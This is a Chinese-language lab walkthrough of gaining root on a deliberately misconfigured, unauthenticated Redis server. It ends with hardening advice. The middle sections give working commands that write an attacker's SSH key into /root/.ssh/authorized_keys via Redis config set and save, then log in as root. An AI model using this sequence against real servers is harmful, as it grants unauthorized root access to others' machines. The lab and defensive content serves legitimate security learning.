Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。从 2010 年 3 月 15 日起,Redis 的开发工作由 VMware 主持。从 2013 年 5 月开始,Redis 的开发由 Pivotal 赞助。

# 0x00 Redis 提权攻击

Redis 在默认情况下,会绑定在 0.0.0.0:6379 上,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务 暴露到公网 上。

​ 如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

​ 攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。

类型 IP
目标靶机 Ubuntu18.04 192.168.138.143
攻击主机 Kali2022 192.168.138.145

如果没有攻击机没有安装 ssh 则:

#安装
sudo apt install openssh-server
#启动ssh服务
sudo service ssh start

# 0x01 被攻击机部分准备工作

在 Ubuntu 安装 redis 服务器

sudo apt-get install redis-server

image-20220926212305161

修改 /etc/redis/redis.conf,总共有三点:

sudo vim /etc/redis/redis.conf

image-20220926212807655

①去除 bind

image-20220926213107025

②daemonize yes

image-20220926213521318

③protected-mode no

image-20220926232253189

重启服务

service redis stop
#以root身份启动redis服务
sudo redis-server /etc/redis/redis.conf
#尝试在服务器上自己连一下
redis-cli
(显示127.0.0.1:6379则OK)

image-20220926232522408

# 0x02 攻击机部分准备工作

在攻击机上生成 rsa 秘钥

ssh-keygen -t rsa

重定向到 key.txt

cd /home/kali/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

image-20220926214549834

第二句话的含义?其实就是在 id_rsa.pub 的前后加了一个回车

image-20220926214811675

之后,我们在攻击机(也就是我的 kali)上安装 redis-cli

wget http://download.redis.io/redis-stable.tar.gz
tar -zxf redis-stable.tar.gz

# 进入到 redis-stable 目录
cd redis-stable
# 编译
make

#拷贝
#编译完成之后,再将 src 目录下的 redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了
sudo cp ./src/redis-cli /usr/bin/

image-20220926220032721

出现如下字样就说明安装成功:

redis-cli
回车

image-20220926220238790

将我们生成的 key.txt 放到远程主机 (也就是开了 redis 服务的服务器) 的 redis-cli 内存上,查看远程服务器的 ip 为:192.168.138.143

image-20220926220116946

# 0x03 开始攻击

拿到 redis 的 shell 后基本操作:

info  #查看redis的信息和服务器信息
flushall 删除全部数据
del key 删除键为key的数据
get key 得到参数key的数据

image-20220926234426901

在我们的攻击机 (kali) 上运行如下代码:

cat /home/kali/.ssh/key.txt | redis-cli -h 192.168.138.143 -x set test
看到回显了OK以后
redis-cli -h 192.168.138.143进入shell

image-20220926222112479

将目录切换到 /root/.ssh

config set dir /root/.ssh

image-20220926231146929

设置数据库名,覆盖我们的文件(保存数据库的内容到 /root/.ssh/authorized_keys )

config set dbfilename authorized_keys
save

最后,回到生成秘钥的终端:

#使用ssh命令 以root用户的身份 连接“被攻击机”的ip
ssh root@192.168.138.143

image-20220926232832651

至此,redis 提权攻击完成。

# 0x04 修复建议 / 安全加固

# 1. 禁止一些高危命令 (重启 redis 才能生效)

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

或者另起名字

rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

来禁用远程修改 DB 文件地址

# 2. 以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

# 3. 为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

# 4. 禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1 ::1

redis 3.2 之后,redis 增加了 protected-mode ,在这个模式下,非绑定 IP 或者没有配置密码时都会报错。

# 5. 保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:

chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

# 6. 修改默认端口

修改 redis.conf 文件, 找到并修改原来的 port 6379 ,比如改成 port 17033 ,让人摸不着头脑。

port 17033